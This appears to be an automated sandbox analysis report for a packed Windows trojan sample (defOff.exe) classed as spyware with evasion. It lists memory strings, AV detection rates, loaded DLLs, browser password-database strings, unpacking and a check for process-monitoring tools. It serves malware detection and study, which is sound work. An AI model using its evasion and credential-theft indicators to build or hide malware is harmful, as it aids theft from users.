Source: file.exe, 00000000.00000003.2339148261.000000000580B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294144132.00000000060E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295024797.000000000602B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292914108.0000000006024000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293172269.000000000602D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296136362.0000000006029000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295378068.000000000602C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291534128.00000000060CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294543455.0000000006024000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293057727.00000000060DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339450754.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295947245.0000000006029000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300164485.000000000624B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298656373.000000000602B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298991935.0000000006023000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337181987.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292104184.00000000060CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289369766.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2418736963.00000000011DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297613460.000000000611D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294735527.00000000061BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297815745.000000000602A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298532368.000000000623F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293543396.000000000618B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301619856.0000000006031000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302003954.0000000006164000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293826313.00000000060D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296907506.0000000006113000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291121895.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295520439.0000000006105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298262146.000000000602A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297210438.000000000602C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294048660.0000000006029000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291381563.00000000060D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295132215.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303296172.0000000006029000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2407677443.00000000011DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300287212.000000000602A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296232940.0000000006109000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296338962.00000000061F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298374028.000000000612E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300663659.0000000006023000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299609134.0000000006026000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303165092.000000000617B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301868167.000000000602F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293320810.00000000060D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300784726.000000000614E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291815583.0000000006026000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339374949.0000000005785000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297506391.0000000006025000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289269205.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299788715.000000000613B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289269205.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300535615.000000000614F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2420983392.000000000580B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295819562.0000000006108000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291219376.000000000602C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300048959.0000000006132000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342043933.000000000580B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298136396.0000000006124000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299450910.0000000006136000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297010074.0000000006025000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301744730.0000000006162000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302383227.0000000006029000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292809183.000000000617F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296040770.0000000006104000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298850032.0000000006132000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2421628754.0000000006026000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289369766.0000000005990000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294836152.000000000602E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296438054.000000000602A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297109045.0000000006119000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296700012.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300909374.000000000627B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302513009.0000000006162000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301152463.0000000006159000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297717871.000000000621B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290927855.0000000005A85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289155652.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299931834.0000000006024000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294637837.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295276748.00000000061CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294443947.0000000006101000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339494982.000000000578C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302642379.0000000006023000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299287341.0000000006027000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302771884.0000000006166000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302901016.00000000062AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291031260.000000000602D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303630015.0000000006024000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291460263.000000000602B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301276384.0000000006031000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974656682525952
Source: file.exe	Static PE information: Section: nfvvrmei ZLIB complexity 0.9944512577456477

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/71@11/5

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2085907138.000000000578B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085634976.00000000057A7000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 50%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1980,i,9850134868156104095,2027123724465788591,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1160 --field-trial-handle=2008,i,16001316125916077205,5372674781634389717,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1980,i,9850134868156104095,2027123724465788591,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1160 --field-trial-handle=2008,i,16001316125916077205,5372674781634389717,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1899008 > 1048576

Source: file.exe

Static PE information: Raw size of nfvvrmei is bigger than: 0x100000 < 0x1a7a00

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2340769586.00000000084A0000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.b90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nfvvrmei:EW;ixxaaxqd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nfvvrmei:EW;ixxaaxqd:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cfe26 should be: 0x1dc9f1

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nfvvrmei
Source: file.exe	Static PE information: section name: ixxaaxqd
Source: file.exe	Static PE information: section name: .taggant

Source: file.exe	Static PE information: section name: entropy: 7.973715098767596
Source: file.exe	Static PE information: section name: nfvvrmei entropy: 7.953841190680119

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
